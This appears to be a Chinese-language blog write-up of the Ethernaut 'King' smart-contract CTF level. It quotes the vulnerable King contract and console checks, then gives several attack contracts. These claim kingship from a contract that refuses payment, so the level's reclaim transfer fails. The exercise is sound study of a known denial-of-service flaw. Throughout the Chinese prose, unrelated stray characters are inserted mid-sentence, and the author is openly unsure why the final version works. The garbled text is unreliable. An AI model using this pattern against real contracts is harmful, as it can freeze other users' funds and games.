題目要求:
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
下面的合約代表了一個非常簡單的游戲:誰向它發(fā)送的以太幣數(shù)量大于當前獎金祥楣,誰就成為新的國王簿晓。在這樣的事件中,被推翻的國王獲得了新的獎勵筐咧,并在此過程中賺取了一些以太幣!龐氏騙局 xD
這么有趣的游戲噪矛。你的目標是打破它量蕊。
當您將實例提交回關(guān)卡時,關(guān)卡將收回王權(quán)艇挨。如果你能避免這樣的自我宣告残炮,你就可以通過關(guān)卡。
源合約代碼:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
簡單來說缩滨,當這個合約收到eth
之后势就,如果發(fā)送的資金大于現(xiàn)在的prize
泉瞻,會給原本的king
現(xiàn)在的發(fā)送者資金,并且將king
賦值為本次發(fā)送方苞冯。
但是點擊submit instance
之后袖牙,系統(tǒng)將會給合約發(fā)送指令重置king
,使攻擊者之前的努力白費舅锄。
我們要做的事鞭达,就是系統(tǒng)無法順利發(fā)送指令。
即皇忿,系統(tǒng)發(fā)送時畴蹭,會因為某些原因在payable(king).transfer(msg.value);
這里卡住。
首先咱們得知道禁添,prize
是多少撮胧,才不會在require
的時候被退回。
執(zhí)行控制臺:
await contract.prize().then(v => v.toString())
顯示如下:
'1000000000000000000'
看來是1 ether
沒跑了老翘。
接下來是在remix
寫攻擊合約了芹啥。
抄來一段:
pragma solidity ^0.8.7;
contract AttackKing {
constructor(address payable _victim) public payable {
_victim.call.gas(1000000).value(1 ether)("");
}
receive() external payable {
revert();
}
}
由于call
的這種調(diào)用法過版本了,得這樣改:
pragma solidity ^0.8.7;
contract AttackKing {
constructor(address payable _victim) public payable {
payable(_victim).call{gas:1000000,value:1 ether}("");
//這里必須加payable铺峭,否則編譯失敗
}
receive() external payable {
revert();
}
}
但是沒有傳入_victim
墓怀,要先傳入地址
pragma solidity ^0.8.7;
contract AttackKing {
constructor() public payable {
address _victim = 0x3049C00639E6dfC269ED1451764a046f7aE500c6;
//這里地址不需加引號,引號不認
//payable(_victim).call.gas(1000000).value(1 ether)("");
payable(_victim).call{gas:1000000,value:1 ether}("");
}
receive() external payable {
revert();
}
}
預先傳入?yún)?shù)卫键,也傳入了eth
傀履,但是直接執(zhí)行之后卻submit instance
不成。莉炉。钓账。
最終版本:
pragma solidity ^0.8.7;
contract ForeverKing {
function claimKingship(address payable _to) public payable {
(bool sent, ) = _to.call{value:msg.value}("");
require(sent, "Failed to send value!");
}
}
部署好合約后,再通過函數(shù)調(diào)用claimKingship
絮宁,_to
右邊參數(shù)一定要是控制臺搞來的contract.address
結(jié)果梆暮,記得上面的GAS
和value
一定要設(shè)置好(沒錯,deploy
按鍵那里的)绍昂,msg.value
才能根據(jù)自身意愿發(fā)送1 ether
啦粹。
調(diào)用好后,在控制臺那里鍵入await contract._king()
然而卻是:
'0x6Bc313E161062eCCea6cf10D1cfb193eCD07FAe5'
但是submit instance
窘游,確實成功了唠椭。。忍饰。
可能構(gòu)造函數(shù)階段弄不成贪嫂,一定要自己調(diào)用函數(shù)就成。
但是那樣的話喘批,fomo3d
要怎么繞過機器人檢定呢撩荣?
作者后話:
Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.
In this case, see: King of the Ether and King of the Ether Postmortem.
Ethernaut 的大部分關(guān)卡都試圖揭露(當然是以一種過于簡單的形式)實際發(fā)生的事情——真正的黑客攻擊或真正的漏洞铣揉。